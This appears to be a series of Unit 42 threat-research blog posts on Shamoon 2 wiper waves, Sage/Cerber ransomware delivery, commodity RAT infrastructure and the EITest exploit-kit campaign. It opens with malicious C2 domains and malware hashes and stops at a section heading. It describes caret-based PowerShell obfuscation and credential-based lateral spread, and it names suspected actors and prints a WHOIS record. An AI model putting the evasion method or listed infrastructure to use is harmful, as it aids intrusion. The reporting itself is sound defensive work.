down.downloadoneyoutube.co.vu
netstreamag.publicvm.com
hostgatero.ddns.net
subsidiaryohio.linkpc.net
helpyoume.linkpc.net

Quasar & Downeks SHA256s

3053e1e8df7e525ef98a77190cefce258aea365e2998425ecc8e139230680156
f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec
0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa
96c1346351a53c865afef5e087a8cbcf8e28d652fbc083a93399a8b94328d456
15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a
b66e5af52fd4d802f64788692b3eafe6b5ff61cea09c06a237a96b6cdb90b41a
55a7ca1e5ed2d74c7eb6ab6a985c1d369157a91275f575967aefb7ddb3388e0c
9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740
39bdeaded0f919caa6697ae1ae4953de1c7afa79905939dbbd8c647a84f6cd07
0e41c3611da6e3a2b0dd0d43b9ce0b3f3405472efa5760767719cc82692afb7b
bc7c3f687d0589a4db53475bc65056a628b52aa27f84c1d76b9fe686d495df27
0d1aa670df8ae1379d6997c9dc8b40c893ee395c3d45b84c2ad1732e86973143
8ac7138215b2500d0737b483b9194419c0e0248014147e84f43b1e2b409184cf
8ca99455d244fab2701beb5127f94745154e03ac1231a58f8bd2cd01732a341b
a149340f920888256902e28e4c5d8587fed3037682e875ed1fdf6a3213c50e92
78aaed20914d3895708985aee089a464b31e11eb3b3e90b530dcebbe10e915ec
704b19e0460a0fa7d952ba6feb5eadb9054895d1d753df72faf6f470446a0519
118d0bd8ec35b925167c67217d2fe06ac021ce253f72d17f1093423b8f9b4a2b
68ec3588735341566e9736b897aac06affb4a4808b05ceffb72384e77ea04b2c
d3c710eaaf849598fa486823da42bdce03ea3c9421c3936e3330e98b34e4ef47
e6e9f7b0449976537d9276192e5767c9909cd34df028a8bf1cac3dbe490f0e73
75336b05443b94474434982fc53778d5e6e9e7fabaddae596af42a15fceb04e9
4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606
b8a3096a396c28462c0d168d97e28573e0e6d272bbc1dd2432e7effe098bd979
905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693
c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f
0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a
1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f
1acffe68fcdc301b8ab7640eda75ff82788b2f93d869e421e28bacbba93b76d1
723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42
99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f
86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806
3243292E46A198BD83E0DCE58258312852C99217187E6D5399066189FEB2677B
9b8d8780454708b950459d43161097ac72f62ff349bc8f379b5b2216bc9ae935
3619b12b11cda6e87644d3316355d99ee5fa5407aa8a8f107aa1058e33b19bf6
0f8378603e269db16eb7eaca933b587c7de3e914c1d9afaaae688c410befb895
d3066fa4a7a1ef38c753796479768b765c6903ef50c35352e29e79dcd49e4348
39b991838653739eef482af6336fcf03922d7e9d88d17946b688a513dd2bfc34
4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273
759ae70b035c3bbb6699520db3a55f3947e6ba1b5ce639ec036e3096ee10b26d
17942d9d76dafb64aa0d3ab53c9ee56e5d8bd4477440f06780b70dd4c02af8b8
fea74bf9eed7363f97a09756b4652409cfcd7bbe023383805aec5da7de6310bd
f5413c785770400215c3191ea887517b4380ec81be4e5bdc5aea12bf82f9105d
8cdbea2aea51f73c68adc517eed533802e1f3b2a9ec0b0560b6bb8fc03ac3e4f
dbdc72a7cfbf03599b95d8f1c47e157da34ea5d2f951cf5f49715e8caab58cd4
65986f6f919e9152176a10ae3964fac130ae6195e189453d17306a225022774d
91a4e395d57a52a85a2bda653a0ed796865e8af01c1345dff63469759448daf0
53e82d01dd2502416ad49329e1224a7c4519182186e60f690ecd0cf266f5af5e
575708d3eb23f8111b7174408f05caf6574c5d6782c750562bfb9abe48cb219e
fefa0781e88fa215419b2a1294c8b952b192f8360aeab2f97bbd9cea15fc7338
ea16f0d55918752ad432d0da03a7e39ab9a8442b74ae0bbe724900605a9ba71f
6f6414c8f8a800c769da1f6994cad25757a2928375803a498171db3395183b98
dbeb3c262cc6eefea93846f817e8333ee541ec23d19ffef56a94585e519e6ff1
2ddce8b010f011a04cf24dc8e5932ae13b463dd6a3cb9bf02ae835b04a70d042
182c82100069834ad4a8dadee6874cfb612f0b9babc7cd3ee5d69f16440ad6d7
f772463bafef5f45f675658eee43b6f56911a4f449afb0cc68ac068002a2f875
b30e3dc47848666e71c1f13050a6502b2c2a7a542ee867d152ffb2dd186d7114
e5e4895d2195e14a3a105f3ed73fd49493e9dbdd7dfc6f6616023473fa8f86c6
f4eda40b3f1c77f8f9e02674d93214dd31c13080b034e37b26cc66d744500b1e
95d9a2b664e3e5c1206d94241ded115643aa0452dd3fe3338363ff826260f40c
575b84c2d3bceebfabb2deb289a230f52aca2c504aa854251c1e9057f3f0cf5a
21f09c93325c03940c24d8bd6f33a1a4876bfd5feb8c8bac05b0a359255c0b42
695821451be582d85cd8e42ce4446f131bd474e6c715bdf13fe8bac6de34b2e3
e874deabb7953c2b9b5e67fc08297019bb0171c2fbdbe136b822cee4d43b72e5
6a700aea23f7cb6907e464981a136b0fbfb5a48b910af2f9a44baf98d25f1722
b6adae77a975058720e525a7f6d2451a01fedd3c6cab1515570d8490a8eb4f67
d735c19fc9223e1bc4e625c1f47801d758426fbae89e5086bc56a8d6b1df2011
a66a27d801891e39d3819355366399fabbf2f05327ddb7c7b5d304fabeac7118
cdf4ec8beb3f15d04b54165b53475aa03949a67f9cb1847a749b2fb44a3fe0a4
0045c28ed2a9d98efb798ec59f34b6a3058838f933af7c0dae6482a0e86e37bf
8814fec28ccac77456be73305b32ad5a266a4929203b2acf431759c90fe579bd
f1b682808f1819f0e3d030fce1fd6b1ca95ad052b069e028cd9ed4afd81cd4d6
f361974e6fd6a6d7cfbfafb28159c4f8e514fe6f399788be4daa2449767d5904
11b1088ad962984f6df89ccc6bbc98bf220af952dec0b4622f8453a0a164cb65
Aacf24e288388431b30f8da765b4696975adc9cc0303d285abb05077eda21da2
02bd710d3055076f86116d28427322c9cb623291c6c5a66c1932181fc6558586
5e7d68c53212f6d467533f105d4a067682e28da47304a53c17b056d2b4404f0a
3ff059a53e38f9fcd24e8d6bf008b4e14733db317857764cfcef736119ff26c9
dcc04adf96045e7227a0e1f1d092919276b21035bcb3c5ed462650ef8d2e7aa3
20e3d4c9223955495d00e72e2fedfe825e9fcda57696a255215895cfba490876
6050d4c1efcf8242382293842313f3a93309f1e449197d98c60cec29090c6bff
1d533ddaefc7859a3f6c6751114e895b7aa5935eb0ed68b01ec61aa8560ae3d9
488ba22d6cb8c9b0310c58fa4c4739692cdf45676c3164b357314322542f9dff
7eeeae1f2fc62653593c7ce254e9cf855905035c2e8f8c0588887cb8e99dd770
d2d08bb2707b635617e5bab0fcd033b6f68a753dd2b3897adca1c627758e686b
d30dbf17078a11c32dd23acea42335860e739c9f18bf0ed611132eef4d5cfcb6
7c578dcdcefe78fb1dd51ac611f6450d9eb5be6c5f1e3363f460321a46be4a39
a40627acae6917787e92f9efa85739136c1670dcc5fe66695e105ddd72d7b80a
5668470c92408f4b9f3a659005c2acca9da8df750cc491bffc88ef640474fa4a
d735c19fc9223e1bc4e625c1f47801d758426fbae89e5086bc56a8d6b1df2011
25e6bf67410dffb95c527c19dcff5223dbc3bf4c987650e45fbea1267072e8ff
f53fd5389b09c6ad289736720e72392dd5f30a1f7822dbc8c7c2e2b655b4dad9
2c2ae3f482d9db2541de0d855b5b12cd18028a94887f0c28acf1e2d6a4f3d4ac
a35e2b21f7f770debcffc79eb4834ec8881465df06cee41af705b6ea5d899978
a7aeeead233fcdfe1c7475db982497a82d8ae745ec1c58bd87215e8869c3f9e4
f0e3562d0438695c7f3af0c280968cfc7134b484010d9ba2aceab944b441b127
f5413c785770400215c3191ea887517b4380ec81be4e5bdc5aea12bf82f9105d
29049e2c7671a7c4fc953cb76e539150cc7c80e1b83c19d0894dfa446ce5276e
2eb7aa306551d693691d14558c5dc4f6d80ef8f69cf466149fbba23953c08f7f
dbdc72a7cfbf03599b95d8f1c47e157da34ea5d2f951cf5f49715e8caab58cd4
de3e25a69ba43b9f236e544ece7f2da82a4fafb4489ad2e263754d9b9d88bc5c
bc846caa05939b085837057bc4b9303357602ece83dc1380191bddd1402d4a2b
44b99603dde822b6b86577e64622e9a2f5b76b6d8bd23a3fe1b4d91b73d0230a
bb24105295588d14c4509ec7374fbe6f7a4821cf4e9d9282754dd666ad7a7ea1

Threat Brief: Shamoon 2 Wave 3 Attacks

As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.

Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks. This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.

Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016. The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.

This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.

Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:

  1. Examine all remote access traffic like RDP and SSH and block all unnecessary remote connections.
  2. Alternately, consider blocking all remote access connections to your organization altogether.
  3. Consider forcing a full password-reset organization-wide of all accounts, and especially those with administrative privileges.

In addition, organizations should review their backup strategies and disaster recovery/business continuity plans.

Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.

Farming Malicious Documents to Unravel Ransomware

While analyzing a recent malicious Microsoft Word document, it downloaded a ransomware variant, “SAGE 2.0” (Sage Locker), which is a spin-off from CryLock. This ransomware has been slowly making the rounds lately; most notably because a number of these campaigns have been seen delivering both Sage and Cerber ransomware families from the same download locations, sometimes changing between the two periodically throughout the day.

In this blog post, I plan to analyze the distribution infrastructure for the ransomware and enumerate indicators that can be deployed for detection and prevention; however, before I get into the infrastructure, I need to briefly mention how the distribution occurs.

I stumbled across this, not because of the ransomware itself, but due to how the Microsoft Word documents download the ransomware executable. Specifically, these Microsoft Word documents are delivered via e-mail, as usually happens with these types of ransomware campaigns, and launch a PowerShell process to download the actual ransomware using an evasion technique I’ve been monitoring. The idea behind the evasion technique is to bypass pattern or string matches that prevent process launching by using the Windows command-line escape caret character injected between your regular characters to break up commands such as “powershell” and “executionpolicy” – below is an example of this.

If, for example, you tried to block “powershell”, it would fail because the carets have broken up the word, but it will have no impact on Microsoft Window’s actual processing of it. The Microsoft Word document contains an obfuscated macro that puts together this command and executes it, which subsequently downloads the ransomware file and runs it. Nothing mind bending but, despite its attempt to evade detection and prevention, it actually stands out more and has the reverse effect.

Pivoting off of this path in the URL “read.php?f=0.dat”, I was able to use Palo Alto Networks AutoFocus to quickly identify 9,107 unique Microsoft Word document since December 15th, 2016 that matched this pattern in their dynamic process activity. From there, I was able to extract all of the download locations being used by this campaign from the identified samples.

To determine if there were any underlying correlations at the registrant level, I pulled WHOIS data for all of the identified domains and, sure enough, another pattern begins to emerge.

unraveling_1

Figure 1 Connections between delivery domains.

What you see in Figure 1 are five clusters of domains: the light green represent the Name of the person who registered the domain and the dark gray represents the persons e-mail. For each “person” there are multiple domains that are tied to that identity.

With this information in hand, I used the e-mails to continue pivoting and pulled every domain these identities have registered. To my surprise, there were 574 total domains, with each one having between 125-160 except for the “dns at unit.org[.]hk” address, which has just nine.

Now, with just a quick review of some of these domains you can get a feel for the general malicious nature of them through the abundant amount of domains masquerading as other companies, whether for phishing or evasion purposes.

Using this new list of domains, I was able to go back through AutoFocus and further enumerate another 12,422 samples, all showing similar activity to the previous documents.

Below are examples of each variation of their download command and unique URL path.

“search.php”

“read.php?f=1.dat”

“read.php?f=404”

“admin.php?f=0.dat”

“admin.php?f=1.jpg”

This next one is particularly interesting as it was serving Locky instead of Sage or Cerber. The first instance of this was on December 9, six days before the Sage and Cerber campaigns described in this post began.

Another thing to note is that it uses a different PowerShell command but the actor(s) behind it still used the “read.php?f=X.dat” format during the download.

“read.php?f=3.dat”

Last, but not least, there was samples starting on August 6, 2016 which used yet another iteration to download the ransomware. This one uses BITS to transfer the file as opposed to PowerShell and drops the file with a screensaver “scr” extension instead of the previously seen executable “exe” in newer iterations.

“admin.php?f=1.exe”

After going over the files and scraped data from dynamic analysis reports, it’s clear the actor(s) behind this campaign have a pattern they like to follow. Regardless of ransomware variant, these small trails can allow us to unravel a larger infrastructure and generate more actionable data for current and, possibly, future threats.

Palo Alto Networks customers are defended by this threat in the following ways:

  • The domains used to delivery this malware and used in related attacks are blocked through Threat Prevention
  • WildFire identifies files using these techniques as malicious
  • AutoFocus users can identify related activity using the PowerShellCaretObfuscation and CerberSage_Distribution

Below is a summary of indicators that can be used for detection and prevention.

Enumerated Paths:

Direct ransomware download URLs:

Enumerated Domains:

Updated March 15, 2023, at 9:30 a.m. PT. to update CryLocker to CryLock.

Exploring the Cybercrime Underground: Part 3 – Into the RAT Nest

In this third part of Unit 42’s Cybercrime Underground blog series, we’re taking a slightly different approach. In this blog we begin with data from a real attack in the wild, and use the evidence from that attack to make a connection back to underground forums and the actors who are using them.

Rather than starting from an attack we had already explored, we looked into a third-party research report linking an Adwind malware sample to a specific command and control (C2) domain and loosely associating a number of other domains.

Using Autofocus, we found an additional dozen samples on the same C2 – almost all of which were instead the LuminosityLink Remote Access Tool (RAT) – itself the subject of a recent Unit 42 report. RATs, Remote Access Tools, are sometimes defended as legitimate utilities but in fact are most typically used for illegitimate, unauthorized access, to control malware-infected systems. From there we dived into associated infrastructure, and underground forums, to see what connections we might find.

Linking Command and Control Infrastructure

We identified five further C2 domains contextually linked with the same naming scheme as the noted Adwind sample, but using different Dynamic DNS root domains. These led us further to additional IP addresses, themselves associated with other known malware C2s. Of immediate interest, not only were these C2s linked, but almost every C2 observed currently resolving to those IP addresses all appeared to be using similar dynamic DNS services.

Figure 1 shows the cluster of Dynamic DNS C2s (right) resolving to the IP addresses associated with the initial C2 investigation (left). We found several thousand files in Autofocus that connected to this infrastructure – every one of them malware.

ratnest_1

Figure 1 Dynamic DNS domains and IP clusters

The linked C2 domains include a handful of first-party and apparently-compromised domains, but are predominantly dynamic DNS. These dynamic DNS providers include abused, legitimate commercial services (e.g. NoIP, DynDNS), and what appears to be purposely-misleading and/or underground services (such as alcatelupd[.]xyz, appleupdate[.]xyz, fagdns[.]net) (Figure 2).

The malware we observed on this infrastructure was almost uniquely commodity RATs including DarkComet, DarkTrack, LuminosityLink, NJRAT, ImminentMonitor, NanoCore, Orcus, NetWireRAT, BabylonRAT, Remcos, ZyklonHTTP, SandroRAT, RevengeRAT, SpyNote, QuasarRAT, and HWorm.

ratnest_2

Figure 2 Dynamic DNS including legitimate providers and deliberately misleading base domains

Abusing legitimate dynamic DNS providers gives the actors a quick, easy, and reliable service – but with the risk of rapid takedown of their infrastructure if abuse is detected by or reported to the dynamic DNS provider. This has created a marketplace for shady home-grown dynamic DNS services which advertise on underground forums that they ignore such abuse. Figure 3 is an example of an underground forum member recommending such a service, over that of a legitimate commercial one.

picture3

Figure 3 Recommending an Underground service over a legitimate commercial one.

We observed clusters of such hosts contextually-linked across multiple domains, for example:

This not only groups activity, but suggests multiple actors are using this infrastructure. Several of those hosts were observed sharing multiple IP addresses already identified in this cluster, further linking the activity. Additionally, this expands on prior Unit 42 research into the LuminosityLink RAT, corroborating those C2s and contributing to further context on them.

Marketplace

The next question is, who is operating these dynamic DNS services, and where are they selling them. Using open source data and information from underground forums, we are able to connect some of these dots.

A Swede in his 30s, Gustaf, runs “ra4wvpn”, which offers domains, hosting, and a VPN service.

John, “Armada”, a Canadian also in his 30s and one of the persons behind the Orcus RAT (subject of another recent Unit 42 report) owns several of the C2 root domains and offers a paid DNS service advertised on underground forums.

“LaPanthere” runs fagdns. He insists that his service does not tolerate abuse (despite the context of where the service is advertised). His ISP suspended fagdns[.]com for abuse, he returned with fagdns[.]su registered elsewhere – but his reputation took a hit as he now appears somewhat gun shy:

collage_1And other underground providers face a similar fate – Punkbastard’s free service was discontinued when his domain was suspended by his provider, for abuse:

ratnest_9

Although LaPanthere advertises his service on an underground cybercrime forum, he protests that his service is legitimate – and suggests that those interested in illegal activities might want to consider the paid service of the Canadian, Armada, with a helpful flow chart:

ratnest_10

The domains of just two of these dynamic DNS providers alone are contacted by almost 3000 unique malware samples identified in our Autofocus service. As well as providers advertising their services on the underground forums, other forum members author advice and step-by-step tutorials, assisting technically unsophisticated miscreants in setting up their RAT systems. More details on this topic were covered in part two of this series. The below figures corroborate how threat actors collaborate in such forums by sharing attack methodologies and also buying and selling such services.

ratnest_11

ratnest_12

ratnest_13

ratnest_14

ratnest_15

 

screen-shot-2017-01-26-at-11-12-07-am-2-copy

Several forum actors offer complete setup services, at fairly low prices:

ratnest_18

Attribution

We observed malware using the same C2 that originated this investigation being spread in email attacks. These appeared to be high-volume and indiscriminate, including both corporate targets and free-email-service addresses. Each email was sent to 16 recipients; the recipient list throughout the campaigns incrementing alphabetically, suggesting strongly they are simply parsing a huge email address database.

We observed these emails sent from an email address at a legitimate Nigerian commercial organization – confirmed by its Nigerian IP address to be the actual originating domain, and not spoofed. The attacks leveraged content and filenames referencing that organization. This is most likely explained by either a compromised account or system, or possibly an insider. In other words, this is likely an example of true Business Email Compromise (BEC) as opposed to the less sophisticated, trickery-only Business Email Spoofing (BES).

We noted a domain using the same naming pattern as the C2 in the original report registered for a few days in 2015, before being suspended for abuse. The WHOIS was apparently false, but with some interesting links:

Registrant Name: Roger Lougheed
Registrant Street: 200 Florida Ave Tavernier, FL 33070
Registrant City: Tavernier
Registrant State/Province: Florida
Registrant Postal Code: 33070
Registrant Country: Nigeria
Registrant Phone: +1.3128699324
Registrant Email: jmcoru@yahoo.com

As well as another Nigerian reference, the registrant email address resolves to the Skype account “mikescotoru1”. This handle is found at a handful of coding/malware forums. Dropping the “1”, “mikescotoru” is found at other underground forums, including some very contextual links:

ratnest_19

Further posts suggest a rather unsophisticated user, asking very basic questions, and purchasing the pieces for his campaigns. The handle “jmcoru” is less unique, but also found on various underground hacking and website hosting forums.

Conclusion

Starting from a third party’s research report, we were able to use Autofocus and open-source intelligence to connect a real world attack to a series of actors operating malicious Dynamic DNS services and offering training and tools to help unskilled actors launch these attacks.

The original report suggested that this was “a wave of persistent attacks against a number of commercial and non-commercial organizations”, characterized the observed activity as “refined APT campaigns”, and went on to conclude that that this was part of “small-scale, targeted attacks with small infrastructure”.

Through our research, we instead understand that this specific malware was spread by an unskilled, opportunistic, financially-motivated Nigerian criminal. When we inspected email-borne attacks for samples on the original C2, the recipients more closely resembled indiscriminate, wide-scale targets.

The infrastructure further led us away from attribution of this as APT activity, instead revealing low-sophistication “service providers” on underground forums, sharing of best practices and tutorials among script kiddies, and end-to-end full-service operations providing entire RAT system setups for even the least capable aspiring cyber criminal.

Thanks to Brandon Levene and Jeff White for assistance in reviewing unknown malware seen on this infrastructure.

IOCs

As well as specific C2 host names / IPs, we also identified multiple malicious DNS providers / domains with multiple C2s.

Palo Alto Networks customers are protected from this threat in the following ways:

  1. WildFire accurately identifies all malware samples using this infrastructure as malicious.
  2. C2s and malicious Dynamic DNS provider domains identified in this investigation are flagged as malicious by Threat Prevention.
  3. AutoFocus users can view malware using known malicious Dynamic DNS providers using the “AbusedDynamicDNSProvider” tag.

You can download a copy of associated IoCs here.

Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic

Palo Alto Networks Unit 42 threat intelligence team has just released new research that has uncovered a previously unknown second wave of Shamoon 2 attacks: Second Wave of Shamoon 2 Attacks Identified

Based on our analysis, these attacks were timed to occur on November 29, 2016, twelve days after the initial Shamoon 2 attacks that we wrote about previously.

Like the initial Shamoon 2 attacks, this second wave of Shamoon 2 attacks utilize the Disttrack wiper malware. Disttrack is optimized to destroy systems by targeting their hard drives and to spread as widely as possible throughout a network it’s infiltrated. And once again, the Disttrack malware was configured to operate without any command and control (C2) servers, essentially optimized for a one-way mission of data destruction.

But this second wave of Shamoon 2 attacks show evidence of potential new tactic. Unit 42 analysis shows that the latest sample contains credentials for virtual desktop infrastructure (VDI) solutions, such as Huawei’s FusionCloud. VDI solutions can provide protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems to recover from a wiper attack. The presence of these credentials in the sample may suggest that attackers intended to increase the impact of their attack by not only wiping systems but also carrying out destructive activities against the VDI deployment, as well as any snapshots.

In essence, a manual destructive attack against the VDI deployment and snapshots coupled with the destructive attack by the malware could destroy an organizations’ systems and primary line of backup against such an attack.

The possible targeting of VDI solutions with legitimate credentials (either stolen or default) represents an escalation in tactics not only in this specific attack but other future attacks. Security teams and administrators should be aware of and take immediate steps to evaluate this development and consider adding additional safeguards to protect credentials related to their VDI deployment.

Full technical details including associated indicators of compromise (IOCs) that can be used for more detailed analysis and protection, can be found the full report.

Palo Alto Networks customers are protected from the Disttrack payload used in this attack:

  • WildFire properly classifies Disttrack samples as malicious
  • Threat protection AV signature of Virus/Win32.WGeneric.ktoto detects the new payload.

AutoFocus customers can monitor Disttrack activity using the Disttrack tag

Campaign Evolution: EITest from October through December 2016

EITest is a name originally coined by Malwarebytes Labs in 2014 to describe a campaign that uses exploit kits (EKs) to deliver malware. Until early January 2016, "EITest" was used as a variable name in the attacker’s malicious injected script in pages on legitimate websites compromised by this campaign. While the variable name is gone, the name for the campaign remains: we still call this campaign "EITest" and it continues to use EKs to distribute a variety of malware.

We reviewed EITest in March 2016 and October 2016. However, the EITest campaign looks noticeably different than when we last reviewed it three months ago.

The EITest campaign is focused on the Delivery, Exploitation, and Installation phases of the cyber attack lifecycle. The way the attacker executes each of these phases changes over time, and this blog examines the changes during the last quarter of 2016. Two significant changes have occurred during this time.

  • Since our last report, EITest no longer uses a gate between the compromised website and the EK landing page (possibly in response to that report).
  • Script injected by the campaign into pages on legitimate websites no longer contains any obfuscation.

Perhaps the most interesting thing about EITest is its longevity.  People have been tracking this campaign since 2014, and its longevity suggests that despite the shifting EK landscape, EKs remain a profitable venture for the criminals involved.

Chain of Events

Successful infections by the EITest campaign generally follow a set sequence of events. It currently uses at least two variations of Rig EK to deliver a variety of ransomware. The infection sequence is similar to other campaigns utilizing EKs to distribute malware. To understand how campaigns use EKs, see our previous blog on EK fundamentals. For EITest, we see the following steps:

  • Step 1: Victim host views a compromised website with malicious injected script.
  • Step 2: The injected script generates an HTTP request for an EK landing page.
  • Step 3: The EK landing page determines if the computer has any vulnerable browser-based applications.
  • Step 4: The EK sends an exploit for any vulnerable applications (for example, out-of-date versions of Internet Explorer or Flash player).
  • Step 5: If the exploit is successful, the EK sends a payload and executes it as a background process.
  • Step 6: The victim's host is infected by the malware payload.

For most of its history, EITest has used a gate between the compromised website and the EK landing page. However, the EITest campaign has stopped using a gate after we published our previous blog about it on October 3, 2016.  Since then, injected script from this campaign links directly to an EK landing page. Gates are no longer used by EITest.

eitest_1

Figure 1: Chain of events for the EITest campaign as of October 3, 2016.

EITest and Rig EK

The EITest campaign still uses Rig EK to deliver its malware. Our research shows EITest most often uses a variant of Rig EK called Empire Pack. Many in the community refer to Empire Pack as "Rig-E" to distinguish it from other variants and still emphasize its relationship to the original Rig EK.  Empire Pack uses the same URL patterns we've seen from Rig EK since late March 2015, while other variants of Rig EK like Rig-V (an improved "VIP" version or Rig) and Rig standard moved on to different URL patterns.

Of note, the variant of Rig EK that EITest uses depends on the payload it delivers. Most EITest payloads are sent using Rig-E.  However, EITest has used Rig-V to distribute ransomware like Cerber or CryptoMix (also known as CryptFile2).

Payloads sent by EITest

Since October 2016, the EITest campaign continues using Rig EK to distribute a variety of malware.

We occasionally see ransomware like Cerber or CryptoMix from the EITest campaign. More often, the campaign will distribute information stealers like Gootkit or the Chthonic banking Trojan. EITest has also delivered other types of malware like Ursnif variants and Latentbot.

Patterns of injected script

When we last examined injected script by the EITest campaign, it still used obfuscation to disguise the EK landing page URL.  By October 15th 2016, EITest stopped obfuscating URL within the injected script.  Figure 3 shows the injected script shortly before the change.  Figure 4 shows the injected script shortly after wit an unobfuscated landing page URL.

eitest_2

Figure 3: Injected EITest script in page from a compromised website on October 13th, 2016.

eitest_3

Figure 4: Injected EITest script in page from a compromised website on October 17th, 2016.

Throughout the rest of 2016, injected script from EITest hasn't changed that much, as seen in Figure 5.

eitest_4

Figure 5: Injected EITest script in page from a compromised website on December 30th, 2016.

Conclusion

EKs are still a popular method to distribute malware. Campaigns like EITest continue to use EKs to deliver a variety of malware, including information stealers and ransomware. These campaigns do not have a specific target and anyone with a Windows system that’s out of date or has out of date applications is vulnerable to infection.

As the EK model of distribution remains profitable, we expect to see malware delivered by EKs through campaigns such as EITest. Domains, IP addresses, and other indicators associated with this campaign are constantly changing. Fortunately, EKs are relatively ineffective against people using a fully-patched Windows operating system who ensure their applications are all up-to-date. Furthermore, customers of Palo Alto Networks are protected from the EITest campaign through our next-generation security platform.

 

Second Wave of Shamoon 2 Attacks Identified

In November 2016, we observed the reemergence of destructive attacks associated with the 2012 Shamoon attack campaign. We covered this attack in detail in our blog titled Shamoon 2: Return of the Disttrack Wiper, which targeted a single organization in Saudi Arabia and was set to wipe systems on November 17, 2016. Since our previous publication, we have found  another, similar but different payload used to target a second organization in Saudi Arabia that was configured to wipe systems twelve days later on November 29, 2016. This latest attack potentially materially impacts one of the primary countermeasures employed against wiper attacks: Virtual Desktop Interface snapshots.

The payload used in this attack was very similar to the November 17, 2016 payload, but exhibited slightly different behaviors and contained hardcoded account credentials specific to the newly targeted organization. The hardcoded account credentials met Windows password complexity requirements, which suggests that the threat actors obtained the credentials through a previous, separate attack, similar to the November 17, 2016 attack.

The most notable thing about this latest sample is that it contains several usernames and passwords from official Huawei documentation related to their virtual desktop infrastructure (VDI) solutions, such as FusionCloud. VDI solutions can provide some protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems. The fact that the Shamoon attackers had these usernames and passwords may suggest that they intended on gaining access to these technologies at the targeted organization to increase the impact of their destructive attack. If true, this is a major development and organizations should consider adding additional safeguards in protecting the credentials related to their VDI deployment.

At this time, we have no details of the attack we believe preceded this Shamoon attack to obtain credentials. We also have no details on the delivery method used to deliver the new, similar, but different Disttrack payload in this attack.

The Second Shamoon 2 Attack

This second known attack associated with Shamoon 2 also used the Disttrack payload, albeit a new, similar but different one from the original Shamoon 2 attack. Specifically, it used a 64-bit variant that was configured to begin its destructive activities on November 29, 2016. Like the Disttrack sample used in the first reported Shamoon 2 attack, it including a wiper and communications module stored in resources within the executable.

Table 1 below shows that the method the Disttrack payload uses to extract and decrypt the modules from resources is the same; however, the resource names changed from “X509”, “PKCS7” and “PKCS12” to “LANG”, “MENU” and “ICO”.

Component Resource Name Offset Size Base64 key
Wiper LANG 94399-14 = 94385 563712 OWRKbTxrleYfLm…
Communications MENU 218709-14 = 218695 187904 QsCfQA6ze9CoOz…
Unknown ICO Unknown Unknown ijX7buB1FIjSn/0D…

 

Our efforts to decrypt the “ICO” resource have thus far been unsuccessful as the Disttrack payload has an associated key but does not contain code that decrypts and extracts this resource.

Propagation Inside Compromised Networks

Similar to the previous attack, the Disttrack payload in this attack spreads to other systems on the local network (/24 network specifically) by logging in using legitimate domain account credentials, copying itself to the system and creating a scheduled task that executes the copied payload. While this method is the same as discussed in our previous blog, the account credentials used in this attack were specific to the targeted organization and the file names used when copying the payload to remote systems were different.

Legitimate User Accounts

There were 16 account credentials found hardcoded within the Disttrack payload, appearing to be a mixture of individual user accounts and broader administrator accounts. All but one of the passwords met Windows complexity requirements, specifically, containing uppercase and lowercase characters, and either a number, symbol, or both. One of the general administrator accounts seen in this payload was also in the Disttrack payload in the first Shamoon 2 attack from November 17, 2016, which may not be specific to the targeted organization and instead used as an attempt to guess the login credentials. Based upon the existence of these credentials, it is highly likely the threat actors had carried out a previous attack to obtain these account credentials, as it is unlikely that these passwords were guessed or brute forced.

As noted earlier, a new development with this latest Disttrack payload is that several of the usernames and passwords are found within official documentation as administrator accounts for Huawei’s virtualized desktop infrastructure (VDI) products, such as FusionCloud. This may suggest that the targeted organization used these credentials when deploying Huawei VDI systems. Shamoon actors may have obtained these credentials from a prior attack; however, it is also possible that the actors included these default usernames and passwords as an attempt to guess the login credentials to the VDI infrastructure.

VDI solutions can provide some protection against a destructive malware like Disttrack through the ability to load snapshots of wiped systems. Also, since FusionCloud systems run a Linux operating system, which would not be susceptible to wiping by the Windows-only Disttrack malware, this could be seen as a reasonable countermeasure against attacks like Shamoon. However, if the attacker was able to log into the VDI management interfaces using the account credentials they could manually carry out destructive activities against the VDI deployment, as well as any snapshots. The targeting of VDI solutions with legitimate, stolen or default credential represents an escalation in tactics that administrators should be aware of and take immediate steps to evaluate and address.

New Disttrack Names

The filenames that the payload copies itself to within the System32 folder of the remote system differs from the previously reported attack, specifically using “ntertmgr32.exe” for 32-bit or “ntertmgr64.exe” for 64-bit systems. The scheduled task executes these files on the remote system, which results in the creation of a Disttrack service named “NtertSrv” compared to the service name “ntssrv” created by the Disttrack payload used in the November 17, 2016 attacks. This can be seen in Figure 1.

shamoon_1

Figure 1 Disttrack service created on systems during propagation

Command and Control

